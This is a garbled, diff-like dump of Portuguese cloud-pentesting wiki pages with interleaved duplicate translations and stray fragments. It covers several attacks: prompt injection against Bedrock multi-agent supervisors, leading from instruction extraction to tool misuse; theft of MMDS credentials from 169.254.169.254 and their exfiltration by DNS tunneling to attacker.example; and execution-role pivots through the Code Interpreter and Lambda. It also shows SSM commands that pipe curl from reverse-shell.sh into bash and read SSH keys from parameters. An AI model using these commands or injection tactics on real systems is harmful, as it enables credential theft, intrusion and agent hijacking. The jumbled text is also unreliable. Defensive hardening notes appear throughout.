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- O supervisor prompt embute collaborators dentro de `<agents>$agent_collaborators$</agents>`, mas normalmente também diz para não revelar tools/agents/instructions.
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- Em vez de pedir o prompt bruto, peça descrições **funcionais** dos especialistas disponíveis. Mesmo descrições parciais bastam para mapear collaborators para domínios como forecasting, solar management ou peak-load optimization.
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- Em vez de pedir o prompt bruto, peça **descrições funcionais** dos especialistas disponíveis. Mesmo descrições parciais são suficientes para mapear collaborators para domínios como forecasting, solar management ou peak-load optimization.
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### 3. Entrega de payload a um collaborator escolhido
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### 3. Entrega de payload para um collaborator escolhido
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- Em **Supervisor Mode**, use o papel do collaborator descoberto e instrua o supervisor a repassar um payload **inalterado** por `AgentCommunication__sendMessage()`. O objetivo é manter a integridade do payload durante o salto de orchestration.
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- Em **Routing Mode**, formule o prompt com fortes **domain cues** para que o classificador do router envie consistentemente ao collaborator desejado sem revisão do supervisor.
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- Em **Supervisor Mode**, use o papel do collaborator descoberto e instrua o supervisor a retransmitir um payload **inalterado** via `AgentCommunication__sendMessage()`. O objetivo é preservar a integridade do payload durante o salto de orchestration.
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- Em **Routing Mode**, crie o prompt com fortes **domain cues** para que o classifier do router envie consistentemente para o collaborator desejado sem revisão do supervisor.
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### 4. Progressão da exploração: leak para tool misuse
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Após a entrega, uma progressão comum é:
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1. **Instruction extraction**: coagir o collaborator a parafrasear sua lógica interna, limites operacionais ou guidance oculto.
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2. **Tool schema extraction**: elicitar nomes de tools, propósitos, parâmetros obrigatórios e outputs esperados. Isso dá ao atacante o contrato de API efetivo para abuso posterior.
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3. **Tool misuse**: persuadir o collaborator a invocar um action group legítimo com argumentos controlados pelo atacante, causando ações de negócio não autorizadas como criação fraudulenta de tickets, disparo de workflows, manipulação de registros ou abuso de APIs downstream.
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1. **Instruction extraction**: coagir o collaborator a parafrasear sua lógica interna, limites operacionais ou hidden guidance.
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2. **Tool schema extraction**: elicitar nomes de tools, propósitos, parâmetros obrigatórios e outputs esperados. Isso fornece ao atacante o contrato de API efetivo para abuso posterior.
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3. **Tool misuse**: persuadir o collaborator a invocar uma action group legítima com argumentos controlados pelo atacante, causando ações de negócio não autorizadas como criação fraudulenta de tickets, acionamento de workflows, manipulação de registros ou abuso downstream de API.
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O problema central é que o backend permite que o model decida **who may do what** por semântica de prompt em vez de aplicar authorization e validation fora do LLM.
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O problema central é que o backend deixa o model decidir **quem pode fazer o quê** por semântica de prompt, em vez de aplicar authorization e validation fora do LLM.
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### Observações para operadores e defenders
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### Observações para operadores e defensores
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- **Trace** e **model invocation logs** são úteis para confirmar routing, prompt augmentation, seleção de collaborator e se tool calls foram executadas com os argumentos fornecidos pelo atacante.
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- Trate cada collaborator como um trust boundary separado: restrinja action groups, valide inputs das tools no backend e exija authorization no servidor antes de ações de alto impacto.
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- O Bedrock **pre-processing** pode rejeitar ou classificar requests suspeitas antes da orchestration, e **Guardrails** podem bloquear tentativas de prompt-injection em runtime. Eles devem estar habilitados mesmo que os templates de prompt já contenham regras de “não divulgar”.
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- Trate cada collaborator como um trust boundary separado: limite action groups de forma estrita, valide inputs das tools no backend e exija autorização server-side antes de ações de alto impacto.
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- **Pre-processing** do Bedrock pode rejeitar ou classificar requests suspeitas antes da orchestration, e **Guardrails** podem bloquear tentativas de prompt-injection em runtime. Eles devem ser ativados mesmo que os templates de prompt já contenham regras de “não divulgar”.
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## AWS - AgentCore Sandbox Escape via DNS Tunneling and MMDS Abuse
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### Visão geral
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### Overview
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O Amazon Bedrock AgentCore Code Interpreter roda dentro de uma AWS-managed microVM e suporta diferentes network modes. A questão interessante de post-exploitation não é "o código pode executar?", porque code execution é a funcionalidade do produto, mas se o isolamento gerenciado ainda impede **credential theft**, **exfiltration** e **C2** depois que o código roda.
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||||
O Amazon Bedrock AgentCore Code Interpreter roda dentro de uma AWS-managed microVM e suporta diferentes network modes. A questão interessante de post-exploitation não é "can code run?" porque execução de código é a feature do produto, mas sim se o isolamento gerenciado ainda impede **credential theft**, **exfiltration** e **C2** quando o code roda.
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A chain útil é:
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A cadeia útil é:
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1. Acessar o metadata endpoint da microVM em `169.254.169.254`
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2. Recuperar temporary credentials do MMDS se o acesso sem token ainda for permitido
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3. Abusar da recursão DNS da sandbox como um caminho covert de egress
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2. Recuperar temporary credentials do MMDS se o acesso sem token ainda estiver permitido
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3. Abusar da recursão DNS do sandbox como um caminho covert de egress
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4. Exfiltrar credentials ou executar um control loop baseado em DNS
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Esta é a versão específica do Bedrock do caminho clássico de ataque cloud **metadata -> credentials -> exfiltration**.
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Esta é a versão específica do Bedrock da clássica cadeia de ataque cloud **metadata -> credentials -> exfiltration**.
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### Primitives principais
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#### 1. Runtime SSRF -> MMDS credentials
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O AgentCore Runtime não deveria expor arbitrary code execution para usuários finais, então o primitive interessante ali é **SSRF**. Se o runtime puder ser enganado para requisitar `http://169.254.169.254/...` e o MMDS aceitar requests `GET` simples sem um token MMDSv2, o SSRF se torna um primitive direto de credential theft.
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||||
O AgentCore Runtime não deveria expor arbitrary code execution para usuários finais, então o primitive interessante ali é **SSRF**. Se o runtime puder ser enganado para solicitar `http://169.254.169.254/...` e o MMDS aceitar requests `GET` simples sem um token MMDSv2, o SSRF se torna um primitive direto de credential theft.
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Isso recria o antigo **IMDSv1 risk model**:
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```bash
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curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
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curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
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```
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Se MMDSv2 estiver aplicado, um SSRF simples geralmente perde impacto porque também precisa de um `PUT` anterior para obter o session token. Se o acesso compatível com MMDSv1 ainda estiver habilitado em agents/tools mais antigos, trate Runtime SSRF como um caminho de roubo de credentials de alta severidade.
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Se MMDSv2 estiver aplicado, um simples SSRF normalmente perde impacto porque também precisa de uma requisição `PUT` anterior para obter o session token. Se o acesso compatível com MMDSv1 ainda estiver habilitado em agentes/tools mais antigos, trate Runtime SSRF como um caminho de roubo de credenciais de alta severidade.
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#### 2. Code Interpreter -> MMDS reconnaissance
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#### 2. Code Interpreter -> reconhecimento de MMDS
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Dentro do Code Interpreter, a execução arbitrária de código já existe por design, então MMDS importa principalmente porque expõe:
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Dentro do Code Interpreter, a execução arbitrária de código já existe por design, então o MMDS importa principalmente porque expõe:
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- temporary IAM role credentials
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- instance metadata and tags
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- internal service plumbing que sugere backends aws alcançáveis
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- credenciais temporárias de IAM role
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- metadata e tags da instância
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- plumbing de serviços internos que sugere backends AWS alcançáveis
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Caminhos interessantes da research:
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Paths interessantes da pesquisa:
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- `http://169.254.169.254/latest/meta-data/tags/instance/aws_presigned-log-url`
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- `http://169.254.169.254/latest/meta-data/tags/instance/aws_presigned-log-kms-key`
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A S3 pre-signed URL retornada é útil porque prova que o sandbox ainda precisa de algum caminho outbound para serviços aws. Isso é uma forte indicação de que "isolated" significa apenas "restricted", não "offline".
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A S3 pre-signed URL retornada é útil porque prova que o sandbox ainda precisa de algum caminho de saída para serviços AWS. Isso é uma forte indicação de que "isolated" significa apenas "restricted", não "offline".
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#### 3. Sandbox DNS recursion -> DNS tunneling
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A descoberta de rede mais valiosa é que o modo Sandbox ainda pode realizar **DNS resolution**, incluindo recursion para domains públicos arbitrários. Mesmo que o tráfego direto TCP/UDP esteja bloqueado, isso já é suficiente para **DNS tunneling**.
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||||
A descoberta de rede mais valiosa é que o modo Sandbox ainda pode fazer **DNS resolution**, incluindo recursion para domínios públicos arbitrários. Mesmo que o tráfego direto TCP/UDP esteja bloqueado, isso já é suficiente para **DNS tunneling**.
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Validação rápida de dentro do interpreter:
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```python
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@@ -182,7 +182,7 @@ import socket
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socket.gethostbyname_ex("s3.us-east-1.amazonaws.com")
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socket.gethostbyname_ex("attacker.example")
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```
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Se domínios controlados pelo atacante resolverem, use o próprio nome da query como o transport:
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Se domínios controlados por attacker resolverem, use o próprio nome da query como o transport:
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```python
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import base64
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import socket
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@@ -191,40 +191,40 @@ data = b"my-secret"
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label = base64.urlsafe_b64encode(data).decode().rstrip("=")
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socket.gethostbyname_ex(f"{label}.attacker.example")
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```
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O recursive resolver encaminha a query para o authoritative DNS server do atacante, então o payload é recuperado a partir dos DNS logs. Repetir isso em chunks oferece um simples **egress channel** para:
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O resolvedor recursivo encaminha a consulta para o servidor DNS autoritativo do atacante, então o payload é recuperado dos logs de DNS. Repetir isso em chunks fornece um simples **egress channel** para:
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- MMDS credentials
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- environment variables
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- credenciais MMDS
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- variáveis de ambiente
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- source code
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- command output
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- output de comando
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As respostas DNS também podem carregar pequenos valores de tasking, permitindo um básico loop de **bidirectional DNS C2**.
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Respostas DNS também podem transportar pequenos valores de tasking, permitindo um loop básico de **bidirectional DNS C2**.
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### Practical post-exploitation chain
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### Cadeia prática de post-exploitation
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1. Obtenha code execution no AgentCore Code Interpreter ou SSRF no AgentCore Runtime.
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2. Query MMDS e recupere as attached role credentials quando tokenless metadata estiver disponível.
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3. Teste se sandbox/public DNS recursion alcança um attacker domain.
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4. Quebre e encode credentials em subdomains.
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5. Reconstrua-as a partir dos authoritative DNS logs e reuse-as com AWS APIs.
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2. Consulte o MMDS e recupere as credenciais da role anexada quando metadata sem token estiver disponível.
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3. Teste se a recursão de DNS do sandbox/public alcança um domínio do atacante.
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4. Quebre em chunks e encode as credenciais em subdomínios.
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5. Reconstrua-as a partir dos logs autoritativos de DNS e reutilize-as com AWS APIs.
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Para pivoting direto de execution-role por meio de uma configuração de interpreter mais privilegiada, veja também [AWS - Bedrock PrivEsc](../../aws-privilege-escalation/aws-bedrock-privesc/README.md).
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Para pivoting direto da execution-role por meio de uma configuração de interpreter mais privilegiada, veja também [AWS - Bedrock PrivEsc](../../aws-privilege-escalation/aws-bedrock-privesc/README.md).
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### Pre-signed URL signer identity leak
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### Leak de identidade do signer de URL pre-signed
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Os valores de tag MMDS não documentados também podem leak backend identity information. Se você quebrar intencionalmente a signature da returned S3 pre-signed URL, a resposta `SignatureDoesNotMatch` pode revelar o `AWSAccessKeyID` do signing. Esse key ID então pode ser mapeado para uma AWS account proprietária:
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Os valores de tag MMDS não documentados também podem leak informações de identidade do backend. Se você quebrar intencionalmente a assinatura da URL S3 pre-signed retornada, a resposta `SignatureDoesNotMatch` pode revelar o `AWSAccessKeyID` usado para assinar. Esse key ID pode então ser mapeado para uma conta AWS proprietária:
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```bash
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aws sts get-access-key-info --access-key-id <ACCESS_KEY_ID>
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```
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Isso não concede automaticamente acesso de escrita fora do escopo do caminho do objeto pre-signed, mas ajuda a mapear a infraestrutura gerenciada pela AWS por trás do serviço Bedrock.
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Isso não concede automaticamente acesso de escrita fora do escopo do caminho do objeto pré-assinado, mas ajuda a mapear a infraestrutura gerenciada pela AWS por trás do serviço Bedrock.
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### Hardening / detection
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- Prefira **VPC mode** quando você precisar de isolamento de rede real em vez de depender do modo Sandbox.
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- Restrinja o DNS egress no modo VPC com **Route 53 Resolver DNS Firewall**.
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- Exija **MMDSv2** onde o AgentCore expõe esse controle, e desative a compatibilidade com MMDSv1 em agents/tools mais antigos.
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- Trate qualquer Runtime SSRF como potencialmente equivalente a roubo de credenciais de metadata até que o comportamento somente-MMDSv2 seja verificado.
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||||
- Mantenha os roles de execução do AgentCore estritamente limitados, porque DNS tunneling transforma execução de código "sem internet" em um canal prático de exfiltração.
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||||
- Prefira **VPC mode** quando você precisar de isolamento de rede real em vez de depender do Sandbox mode.
|
||||
- Restrinja a saída DNS no VPC mode com **Route 53 Resolver DNS Firewall**.
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||||
- Exija **MMDSv2** onde o AgentCore expõe esse controle, e desative a compatibilidade com MMDSv1 em agentes/ferramentas mais antigos.
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||||
- Trate qualquer Runtime SSRF como potencialmente equivalente a roubo de credenciais de metadata até que o comportamento apenas com MMDSv2 seja verificado.
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||||
- Mantenha as roles de execução do AgentCore estritamente limitadas, porque DNS tunneling transforma code execution "sem internet" em um canal prático de exfiltração.
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## References
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+34
-34
@@ -6,32 +6,32 @@
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### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
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AgentCore Code Interpreter é um ambiente de execução gerenciado. **Custom Code Interpreters** podem ser configurados com um **`executionRoleArn`** que “fornece permissões para que o code interpreter acesse serviços AWS”.
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AgentCore Code Interpreter é um ambiente de execução gerenciado. **Custom Code Interpreters** podem ser configurados com um **`executionRoleArn`** que “fornece permissões para o code interpreter acessar serviços AWS”.
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Se um **principal IAM com menos privilégios** conseguir **iniciar + invocar** uma sessão de Code Interpreter configurada com um **execution role mais privilegiado**, o chamador pode efetivamente **pivotar para as permissões do execution role** (lateral movement / privilege escalation dependendo do escopo da role).
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||||
Se um **principal IAM com menos privilégios** puder **iniciar + invocar** uma sessão de Code Interpreter configurada com um **execution role mais privilegiado**, o chamador pode efetivamente **pivotar para as permissões do execution role** (lateral movement / privilege escalation dependendo do escopo da role).
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> [!NOTE]
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||||
> Isso normalmente é um problema de **misconfiguration / permissões excessivas** (conceder permissões amplas à role de execução do interpreter e/ou conceder acesso amplo de invoke).
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||||
> A AWS avisa explicitamente para evitar privilege escalation garantindo que as execution roles tenham privilégios **iguais ou menores** do que as identidades autorizadas a invocar.
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||||
> Isso normalmente é um problema de **misconfiguration / permissões excessivas** (concedendo permissões amplas à role de execução do interpreter e/ou concedendo acesso amplo de invoke).
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||||
> A AWS alerta explicitamente para evitar privilege escalation garantindo que as execution roles tenham privilégios **iguais ou menores** do que as identities autorizadas a invocar.
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#### Precondições (misconfiguration comum)
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#### Pré-requisitos (misconfiguration comum)
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||||
- Existe um **custom code interpreter** com uma **execution role** com privilégios excessivos (ex: acesso a S3/Secrets/SSM sensíveis ou capacidades parecidas com IAM-admin).
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||||
- Existe um **custom code interpreter** com um **execution role** com privilégios excessivos (ex.: acesso a S3/Secrets/SSM sensíveis ou capacidades semelhantes a IAM-admin).
|
||||
- Um usuário (developer/auditor/identidade de CI) tem permissões para:
|
||||
- iniciar sessions: `bedrock-agentcore:StartCodeInterpreterSession`
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||||
- iniciar sessões: `bedrock-agentcore:StartCodeInterpreterSession`
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||||
- invocar tools: `bedrock-agentcore:InvokeCodeInterpreter`
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||||
- (Opcional) O usuário também pode criar interpreters: `bedrock-agentcore:CreateCodeInterpreter` (permite criar um novo interpreter configurado com uma execution role, dependendo das guardrails da organização).
|
||||
- (Opcional) O usuário também pode criar interpreters: `bedrock-agentcore:CreateCodeInterpreter` (permite criar um novo interpreter configurado com uma execution role, dependendo dos guardrails da organização).
|
||||
|
||||
#### Recon (identificar custom interpreters e uso da execution role)
|
||||
#### Recon (identificar custom interpreters e uso de execution role)
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||||
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||||
Liste interpreters (control-plane) e inspecione sua configuração:
|
||||
Liste os interpreters (control-plane) e inspecione sua configuração:
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||||
```bash
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||||
aws bedrock-agentcore-control list-code-interpreters
|
||||
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
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||||
```
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||||
> O comando create-code-interpreter suporta `--execution-role-arn`, que define quais permissões AWS o interpreter terá.
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||||
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||||
#### Step 1 - Start a session (isso retorna um `sessionId`, não um shell interativo)
|
||||
#### Etapa 1 - Inicie uma session (isso retorna um `sessionId`, não um shell interativo)
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||||
```bash
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||||
SESSION_ID=$(
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||||
aws bedrock-agentcore start-code-interpreter-session \
|
||||
@@ -45,7 +45,7 @@ echo "SessionId: $SESSION_ID"
|
||||
```
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||||
#### Step 2 - Invoke code execution (Boto3 or signed HTTPS)
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||||
|
||||
Não há **interactive python shell** de `start-code-interpreter-session`. A execução acontece via **InvokeCodeInterpreter**.
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||||
Não há **interactive python shell** em `start-code-interpreter-session`. A execução acontece via **InvokeCodeInterpreter**.
|
||||
|
||||
**Option A - Boto3 example (execute Python + verify identity):**
|
||||
```python
|
||||
@@ -68,7 +68,7 @@ arguments={
|
||||
for event in resp.get("stream", []):
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||||
print(event)
|
||||
```
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||||
Se o interpreter estiver configurado com uma execution role, a saída de `sts:GetCallerIdentity()` deve refletir a identidade dessa role (não a do low-priv caller), demonstrando o pivot.
|
||||
Se o interpreter estiver configurado com uma execution role, a saída de `sts:GetCallerIdentity()` deve refletir a identidade dessa role (não a do caller com baixo privilégio), demonstrando o pivot.
|
||||
|
||||
**Option B - Signed HTTPS call (awscurl):**
|
||||
```bash
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||||
@@ -89,34 +89,34 @@ awscurl -X POST \
|
||||
```
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||||
#### Impact
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||||
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||||
* **Lateral movement** para qualquer acesso AWS que a role de execução do interpreter tenha.
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||||
* **Privilege escalation** se a role de execução do interpreter for mais privilegiada do que o caller.
|
||||
* Detecção mais difícil se os CloudTrail data events para invocações do interpreter não estiverem habilitados (as invocações podem não ser registradas por padrão, dependendo da configuração).
|
||||
* **Lateral movement** into qualquer acesso AWS que a role de execução do interpreter tenha.
|
||||
* **Privilege escalation** se a role de execução do interpreter tiver mais privilégios do que o caller.
|
||||
* Detecção mais difícil se os eventos de dados do CloudTrail para invocações do interpreter não estiverem habilitados (as invocações podem não ser registradas por padrão, dependendo da configuração).
|
||||
|
||||
#### Mitigations / Hardening
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||||
|
||||
* **Least privilege** no `executionRoleArn` do interpreter (trate isso como Lambda execution roles / CI roles).
|
||||
* **Least privilege** na `executionRoleArn` do interpreter (trate-a como Lambda execution roles / CI roles).
|
||||
* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) e quem pode iniciar sessions.
|
||||
* Use **SCPs** para negar InvokeCodeInterpreter exceto para approved agent runtime roles (a aplicação em nível de org pode ser necessária).
|
||||
* Habilite os CloudTrail data events apropriados para AgentCore quando aplicável; gere alertas para invocações inesperadas e criação de sessions.
|
||||
* Use **SCPs** para negar InvokeCodeInterpreter, exceto para roles aprovadas do agent runtime (a enforcement em nível de org pode ser necessária).
|
||||
* Habilite os **CloudTrail data events** apropriados para AgentCore quando aplicável; alerte sobre invocações inesperadas e criação de sessions.
|
||||
|
||||
## Amazon Bedrock Agents
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||||
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||||
### `lambda:UpdateFunctionCode`, `bedrock:InvokeAgent` - Agent Tool Hijacking via Lambda
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||||
|
||||
Bedrock Agents podem usar **Lambda-backed action groups** como tools (external execution). Se um principal puder **modificar o code de uma função Lambda usada por um agent**, e depois puder **invocar o agent**, ele pode executar code controlado pelo attacker sob a **Lambda execution role**.
|
||||
Bedrock Agents podem usar **Lambda-backed action groups** como tools (external execution). Se um principal puder **modificar o código de uma Lambda function usada por um agent**, e depois puder **invocar o agent**, ele poderá executar código controlado pelo atacante sob a **Lambda execution role**.
|
||||
|
||||
> [!NOTE]
|
||||
> Isto é um **cross-service trust abuse** (Bedrock → Lambda), não uma vulnerabilidade. O attacker pode não conseguir invocar a Lambda diretamente, mas ainda pode acioná-la via o agent.
|
||||
> Isso é um **cross-service trust abuse** (Bedrock → Lambda), não uma vulnerability. O atacante pode não conseguir invocar a Lambda diretamente, mas ainda assim pode acioná-la via o agent.
|
||||
|
||||
#### Preconditions (common misconfiguration)
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||||
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||||
- Existe um Bedrock Agent com um **action group backed by a Lambda function**
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||||
- O attacker tem:
|
||||
- O atacante tem:
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||||
- `lambda:UpdateFunctionCode`
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||||
- `bedrock:InvokeAgent`
|
||||
- A Lambda execution role tem permissões mais amplas do que o attacker
|
||||
- O attacker consegue identificar a Lambda usada pelo agent
|
||||
- A Lambda execution role tem permissões mais amplas do que o atacante
|
||||
- O atacante consegue identificar a Lambda usada pelo agent
|
||||
|
||||
#### Recon
|
||||
|
||||
@@ -132,7 +132,7 @@ aws lambda get-function --function-name <FUNCTION_NAME>
|
||||
```
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||||
#### Exploitation
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||||
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||||
Substitua o código Lambda:
|
||||
Substitua o código do Lambda:
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||||
```bash
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zip payload.zip lambda_function.py
|
||||
|
||||
@@ -140,14 +140,14 @@ aws lambda update-function-code \
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||||
--function-name <FUNCTION_NAME> \
|
||||
--zip-file fileb://payload.zip
|
||||
```
|
||||
Example payload:
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||||
Exemplo de payload:
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||||
```python
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||||
import boto3
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||||
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||||
def lambda_handler(event, context):
|
||||
return boto3.client("sts").get_caller_identity()
|
||||
```
|
||||
Disparar via agent:
|
||||
Dispare via agent:
|
||||
```bash
|
||||
aws bedrock-agent-runtime invoke-agent \
|
||||
--agent-id <AGENT_ID> \
|
||||
@@ -157,18 +157,18 @@ aws bedrock-agent-runtime invoke-agent \
|
||||
```
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||||
#### Impacto
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||||
|
||||
* **Escalada de privilégios** para a Lambda execution role
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||||
* **Exfiltração de dados** de AWS services
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* **Abuso entre services** via trusted agent execution
|
||||
* **Privilege escalation** para a Lambda execution role
|
||||
* **Data exfiltration** de AWS services
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||||
* **Cross-service abuse** via trusted agent execution
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||||
|
||||
#### Mitigações
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||||
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||||
* **Restrinja** `lambda:UpdateFunctionCode`
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||||
* **Restrict** `lambda:UpdateFunctionCode`
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||||
* Use Lambda roles com **least-privilege**
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||||
* **Monitore** mudanças no código da Lambda
|
||||
* **Audite** o uso de tools do Bedrock agent
|
||||
* **Monitor** mudanças de código da Lambda
|
||||
* **Audit** uso de tools do Bedrock agent
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|
||||
## Referências
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## References
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||||
- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/)
|
||||
- [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/)
|
||||
|
||||
+25
-25
@@ -4,7 +4,7 @@
|
||||
|
||||
## SSM
|
||||
|
||||
Para mais informações sobre SSM, veja:
|
||||
Para mais informações sobre SSM, verifique:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,7 +12,7 @@ Para mais informações sobre SSM, veja:
|
||||
|
||||
### `ssm:SendCommand`
|
||||
|
||||
Um atacante com a permissão **`ssm:SendCommand`** pode **executar comandos em instances** que estejam rodando o Amazon SSM Agent e **comprometer a IAM Role** em execução dentro dele.
|
||||
Um attacker com a permissão **`ssm:SendCommand`** pode **executar comandos em instances** que executam o Amazon SSM Agent e **comprometer o IAM Role** em execução dentro dele.
|
||||
```bash
|
||||
# Check for configured instances
|
||||
aws ssm describe-instance-information
|
||||
@@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
|
||||
--document-name "AWS-RunShellScript" --output text \
|
||||
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
|
||||
```
|
||||
Caso você esteja usando esta técnica para escalar privilégios dentro de uma instância EC2 já comprometida, você poderia simplesmente capturar o rev shell localmente com:
|
||||
Caso você esteja usando esta technique para escalar privilégios dentro de uma instância EC2 já comprometida, você poderia simplesmente capturar o rev shell localmente com:
|
||||
```bash
|
||||
# If you are in the machine you can capture the reverseshel inside of it
|
||||
nc -lvnp 4444 #Inside the EC2 instance
|
||||
@@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
|
||||
--document-name "AWS-RunShellScript" --output text \
|
||||
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
|
||||
```
|
||||
**Impacto Potencial:** privesc direto para os papéis IAM do EC2 anexados às instâncias em execução com SSM Agents rodando.
|
||||
**Impacto Potencial:** privesc direto para as roles IAM de EC2 anexadas a instâncias em execução com SSM Agents rodando.
|
||||
|
||||
### `ssm:StartSession`
|
||||
|
||||
Um atacante com a permissão **`ssm:StartSession`** pode **iniciar uma sessão semelhante a SSH em instâncias** com o Amazon SSM Agent em execução e **comprometer o IAM Role** rodando dentro dela.
|
||||
Um atacante com a permissão **`ssm:StartSession`** pode **iniciar uma sessão tipo SSH em instâncias** executando o Amazon SSM Agent e **comprometer a IAM Role** em execução dentro dela.
|
||||
```bash
|
||||
# Check for configured instances
|
||||
aws ssm describe-instance-information
|
||||
@@ -47,23 +47,23 @@ aws ssm start-session --target "$INSTANCE_ID"
|
||||
> [!CAUTION]
|
||||
> Para iniciar uma sessão você precisa do **SessionManagerPlugin** instalado: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
|
||||
|
||||
**Impacto Potencial:** privesc direto para os perfis IAM do EC2 anexados às instâncias em execução com SSM Agents rodando.
|
||||
**Potential Impact:** Privesc direta para as funções IAM do EC2 anexadas às instâncias em execução com SSM Agents rodando.
|
||||
|
||||
#### Privesc to ECS
|
||||
|
||||
Quando **ECS tasks** rodam com **`ExecuteCommand` habilitado**, usuários com permissões suficientes podem usar `ecs execute-command` para **executar um comando** dentro do container.\
|
||||
De acordo com [**a documentação**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) isso é feito criando um canal seguro entre o dispositivo que você usa para iniciar o comando “_exec_“ e o container alvo com SSM Session Manager. (SSM Session Manager Plugin necessário para isso funcionar)\
|
||||
Portanto, usuários com `ssm:StartSession` poderão **obter um shell dentro de ECS tasks** com essa opção habilitada apenas executando:
|
||||
Quando **ECS tasks** rodam com **`ExecuteCommand` enabled**, usuários com permissões suficientes podem usar `ecs execute-command` para **executar um comando** dentro do container.\
|
||||
De acordo com [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) isso é feito criando um canal seguro entre o dispositivo que você usa para iniciar o comando “_exec_“ e o container alvo com SSM Session Manager. (SSM Session Manager Plugin necessário para isso funcionar)\
|
||||
Portanto, usuários com `ssm:StartSession` poderão **obter um shell dentro de ECS tasks** com essa opção enabled apenas executando:
|
||||
```bash
|
||||
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
|
||||
```
|
||||
.png>)
|
||||
|
||||
**Potential Impact:** privesc direto para as `ECS`IAM roles anexadas a tasks em execução com `ExecuteCommand` habilitado.
|
||||
**Potential Impact:** privesc direta para os papéis `ECS`IAM anexados a tarefas em execução com `ExecuteCommand` habilitado.
|
||||
|
||||
### `ssm:ResumeSession`
|
||||
|
||||
Um attacker com a permissão **`ssm:ResumeSession`** pode **reiniciar uma SSH like session em instances** executando o Amazon SSM Agent com um estado de sessão SSM **disconnected** e **comprometer a IAM Role** em execução dentro dela.
|
||||
Um attacker com a permissão **`ssm:ResumeSession`** pode re-**iniciar uma sessão tipo SSH em instances** executando o Amazon SSM Agent com um estado de sessão SSM **desconectado** e **comprometer o IAM Role** executando dentro dela.
|
||||
```bash
|
||||
# Check for configured instances
|
||||
aws ssm describe-sessions
|
||||
@@ -72,30 +72,30 @@ aws ssm describe-sessions
|
||||
aws ssm resume-session \
|
||||
--session-id Mary-Major-07a16060613c408b5
|
||||
```
|
||||
**Impacto Potencial:** privesc direta para os IAM roles do EC2 anexados às instâncias em execução com SSM Agents rodando e sessões desconectadas.
|
||||
**Impacto Potencial:** privesc direto para as EC2 IAM roles anexadas a instâncias em execução com SSM Agents rodando e sessões desconectadas.
|
||||
|
||||
### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
|
||||
|
||||
Um atacante com as permissões mencionadas vai conseguir listar os **SSM parameters** e **lê-los em clear-text**. Nesses parameters, você frequentemente pode **encontrar informações sensíveis** como chaves SSH ou API keys.
|
||||
Um attacker com as permissões mencionadas vai conseguir listar os **SSM parameters** e **lê-los em clear-text**. Nesses parameters você frequentemente pode **encontrar informação sensível** como SSH keys ou API keys.
|
||||
```bash
|
||||
aws ssm describe-parameters
|
||||
# Suppose that you found a parameter called "id_rsa"
|
||||
aws ssm get-parameters --names id_rsa --with-decryption
|
||||
aws ssm get-parameter --name id_rsa --with-decryption
|
||||
```
|
||||
**Impacto Potencial:** Encontrar informações sensíveis dentro dos parâmetros.
|
||||
**Impacto Potencial:** Encontrar informação sensível dentro dos parâmetros.
|
||||
|
||||
### `ssm:ListCommands`
|
||||
|
||||
Um atacante com essa permissão pode listar todos os **commands** enviados e, com sorte, encontrar **informações sensíveis** neles.
|
||||
Um atacante com esta permissão pode listar todos os **commands** enviados e, com sorte, encontrar **informação sensível** neles.
|
||||
```
|
||||
aws ssm list-commands
|
||||
```
|
||||
**Impacto Potencial:** Encontrar informação sensível dentro das linhas de comando.
|
||||
**Impacto Potencial:** Encontrar informações sensíveis dentro das linhas de comando.
|
||||
|
||||
### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
|
||||
|
||||
Um atacante com estas permissões pode listar todos os **commands** enviados e **ler a output** gerada, esperando encontrar **informação sensível** nela.
|
||||
Um atacante com estas permissões pode listar todos os **commands** enviados e **ler a saída** gerada, com sorte encontrando **informações sensíveis** nela.
|
||||
```bash
|
||||
# You can use any of both options to get the command-id and instance id
|
||||
aws ssm list-commands
|
||||
@@ -103,11 +103,11 @@ aws ssm list-command-invocations
|
||||
|
||||
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
|
||||
```
|
||||
**Impacto Potencial:** Encontrar informações sensíveis dentro da saída das linhas de comando.
|
||||
**Impacto Potencial:** Encontrar informação sensível dentro da saída das linhas de comando.
|
||||
|
||||
### Usando ssm:CreateAssociation
|
||||
### Using ssm:CreateAssociation
|
||||
|
||||
Um atacante com a permissão **`ssm:CreateAssociation`** pode criar uma State Manager Association para executar automaticamente comandos em instâncias EC2 gerenciadas por SSM. Essas associations podem ser configuradas para rodar em um intervalo fixo, tornando-as adequadas para persistência semelhante a backdoor sem sessões interativas.
|
||||
Um atacante com a permissão **`ssm:CreateAssociation`** pode criar uma State Manager Association para executar automaticamente comandos em instâncias EC2 gerenciadas por SSM. Essas associations podem ser configuradas para serem executadas em um intervalo fixo, tornando-as adequadas para persistência tipo backdoor sem sessões interativas.
|
||||
```bash
|
||||
aws ssm create-association \
|
||||
--name SSM-Document-Name \
|
||||
@@ -117,11 +117,11 @@ aws ssm create-association \
|
||||
--association-name association-name
|
